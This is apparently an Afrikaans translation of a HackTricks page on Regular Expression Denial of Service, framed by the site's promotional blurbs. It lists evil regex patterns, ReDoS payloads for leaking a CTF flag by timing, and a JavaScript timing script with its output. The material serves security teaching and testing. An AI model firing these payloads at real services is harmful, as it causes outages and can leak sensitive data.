6.3 KiB
Regular expression Denial of Service - ReDoS
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PRs in te dien by die HackTricks en HackTricks Cloud github-opslag.
Regular Expression Denial of Service (ReDoS)
'n Regular Expression Denial of Service (ReDoS) gebeur wanneer iemand voordeel trek uit swakhede in hoe regulêre uitdrukkings ( 'n manier om patrone in teks te soek en pas) werk. Soms, wanneer regulêre uitdrukkings gebruik word, kan hulle baie stadig word, veral as die stuk teks waarmee hulle werk, groter word. Hierdie stadigheid kan so erg word dat dit baie vinnig groei selfs met klein toenames in die teks grootte. Aanvallers kan hierdie probleem gebruik om 'n program wat regulêre uitdrukkings gebruik, lankal nie behoorlik werk nie.
Die Problematiese Regex Naïve Algoritme
Kyk na die besonderhede in https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
Bose Regexes
'n Bose regulêre uitdrukkingspatroon is een wat vassteek op gekonstrueerde insette en 'n DoS veroorsaak. Bose regex-patrone bevat tipies groepering met herhaling en herhaling of afwisseling met oorvleueling binne die herhaalde groep. 'n Paar voorbeelde van bose patrone sluit in:
- (a+)+
- ([a-zA-Z]+)*
- (a|aa)+
- (a|a?)+
- (.*a){x} vir x > 10
Al hierdie is vatbaar vir die inset aaaaaaaaaaaaaaaaaaaaaaaa!
.
ReDoS-lading
Teksuitvoer via ReDoS
In 'n CTF (of foutbeloning) beheer jy dalk die Regex waarmee 'n sensitiewe inligting (die vlag) ooreenstem. Dan kan dit nuttig wees om die bladsy te bevries (tyduitloop of langer verwerkingstyd) as die Regex ooreenstem en nie as dit nie doen nie. Op hierdie manier sal jy in staat wees om die teks karakter vir karakter uit te voer:
- In hierdie pos kan jy hierdie ReDoS-reël vind:
^(?=<flag>)((.*)*)*salt$
- Voorbeeld:
^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
- In hierdie oplossing kan jy hierdie een vind:
<flag>(((((((.*)*)*)*)*)*)*)!
- In hierdie oplossing het hy gebruik:
^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$
ReDoS Beheer van Inset en Regex
Die volgende is ReDoS voorbeelde waar jy beide die inset en die regex beheer:
function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
Gereedskap
Verwysings
- https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
- https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets
- https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html
- https://ctftime.org/writeup/25869
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.